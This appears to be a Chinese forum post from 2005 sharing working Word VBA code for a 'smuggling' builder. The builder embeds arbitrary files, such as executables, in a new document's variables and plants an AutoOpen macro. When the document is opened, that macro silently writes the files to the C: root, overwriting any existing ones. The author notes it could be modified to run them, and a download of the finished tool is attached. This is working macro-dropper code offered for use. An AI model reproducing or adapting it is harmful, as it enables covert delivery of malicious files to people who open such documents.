我整理了一个,做了一个"夹带"程序,打开"直读.DOC"文档,可以将指定的夹带程序以二进制方式读到并写入目标(含有夹带程序的WORD文档)的文档变量中,可以夹带10以个的文件,可惜还是有一些缺点,文档变量中的字符串长度还是有限制.因此,尽可能夹带小型程序或者文件.
此"夹带"程序,可以将宏自动复制到目标文档中,以后,只要打开该目标文档,将会创建(在C盘根目录下-还原该文件),注意,此处没有使用SHELL命令,可根据实际情况进行修改.
以下代码供参考: '* +++++++++++++++++++++++++++++
'* Created By I Love You_Word!@ExcelHome 2005-7-10 13:59:02
'仅测试于System: Windows NT Word: 10.0 Language: 2052
'^The Code CopyIn [ThisDocument-ThisDocument]^'
'* -----------------------------
Option Explicit
Private Sub Document_Open()
Call GetByteToVariable
End Sub
'----------------------
'以下代码将用户需要夹带的文件以二进制方式读取并写到目标WORD文档中
Sub GetByteToVariable()
Dim TargetDoc As Document, JDFileCount As Byte, MyFileName As String
Dim N As Long, Mystring As String, MyDialog As FileDialog, arrBytes() As Byte
Dim strPostfix As String, aArray As Variant, strVarName As String, TargetFullName As String
On Error GoTo ErrHandle '启动错误处理程序
JDFileCount = 0 '初始化变量(此变量的意义在于对夹带文件计数)
Application.ScreenUpdating = False '关闭屏幕更新
'新建一个空白文档,作为夹带的目标WORD文档
Set TargetDoc = Documents.Add
TargetDoc.SaveAs "JDTest.doc"
TargetFullName = TargetDoc.FullName '恢复屏幕更新
'重新激活本文档
Application.ScreenUpdating = True
ThisDocument.Activate
Start:
JDFileCount = JDFileCount + 1 '累计
'如果夹带文件数目超过9个,则退出程序
If JDFileCount > 9 Then Exit Sub
Set MyDialog = Application.FileDialog(msoFileDialogFilePicker)
With MyDialog
.AllowMultiSelect = False
.Filters.Clear
.Filters.Add "所有文件", "*.*", 1
'如果用户点选确定,则返回一个路径名
If .Show = -1 Then
MyFileName = .SelectedItems(1)
'取得夹带文件的NAME名(文件名及后缀)
strPostfix = VBA.Mid(MyFileName, VBA.InStrRev(MyFileName, "\") + 1)
Else
'如果用户在第一次时即取消浏览对话框时,关闭新文档
GoTo KillDoc
End If
End With
'指定一个夹带源文件位置
'以上代码适用于XP及以上版本,否则请以 MyFileName = "D:\mdPlayer.exe"处理之
Open MyFileName For Binary As #1
N = LOF(1) '取得总字节数
'动态声明一个Byte类型的数组
'在二进制文件中,每一个字节,构成一个数组元素
ReDim arrBytes(1 To N) As Byte
'将一个已打开的磁盘文件读入一个数组变量之中
Get #1, , arrBytes
Close #1 '关闭该文件
'在该二进制数组中循环
For Each aArray In arrBytes
'字符串数据以","为分隔符在内存中累加
Mystring = Mystring & aArray & ","
Next
Erase arrBytes '清空数组,释放内存
'随机定义一个文档变量名,为时间序列
strVarName = strPostfix & JDFileCount
'将最后一个,(","分隔符)去掉
Mystring = Mid(Mystring, 1, Len(Mystring) - 1)
With TargetDoc
'写入本文档的文档变量中
.Variables.Add Name:=strVarName, Value:=Mystring
End With
Mystring = "" '初始化变量
If MsgBox("您是否想继续夹带另外的文件?", vbYesNo + vbInformation) = vbYes Then GoTo Start
'夹带结束后,将自动宏复制到目标WORD文档并保存.
Application.OrganizerCopy Source:=ThisDocument.FullName, Destination:=TargetFullName, _
Name:="Main", Object:=wdOrganizerObjectProjectItems
TargetDoc.Save
Exit Sub
ErrHandle: '错误处理,提示错误号和错误描述
MsgBox "Error:=" & Err.Number & vbCrLf & Err.Description, vbOKOnly + vbExclamation, "Error"
'关闭目标文档并从磁盘中删除
KillDoc: TargetDoc.Close False: Kill TargetFullName
End Sub
'----------------------
'* +++++++++++++++++++++++++++++
'* Created By I Love You_Word!@ExcelHome 2005-7-10 13:59:10
'仅测试于System: Windows NT Word: 10.0 Language: 2052
'^The Code CopyIn [标准模块-Main]^'
'* -----------------------------
Option Explicit
Sub AutoOpen()
If ThisDocument.Name = "直读.doc" Then Exit Sub
Call FileRevert
End Sub
'----------------------
Sub FileRevert() '还原夹带文件在C盘根目录下的同一文件名
Dim RevertFileName As String, MyArray() As String, arrBytes() As Byte
Dim N As Long, aVar As Variable, aArray As Variant
On Error Resume Next
For Each aVar In ThisDocument.Variables
RevertFileName = "C:\" & VBA.Mid(aVar.Name, 1, Len(aVar.Name) - 1)
'如果已存在该文件,则删除之
If Dir(RevertFileName, vbDirectory) <> "" Then Kill RevertFileName
MyArray = VBA.Split(aVar.Value, ",")
ReDim arrBytes(UBound(MyArray()))
N = 0
For Each aArray In MyArray
arrBytes(N) = aArray
N = N + 1
Next
Open RevertFileName For Binary Access Write As #1
Put #1, , arrBytes
Close #1
Next
End Sub
'----------------------
'这是成品"夹带"程序(不含夹带的文件,是用来制作"夹带文件"的夹带程序)
ToNND8dG.rar
(18.9 KB, 下载次数: 88)
[此贴子已经被作者于2005-7-10 14:02:05编辑过] |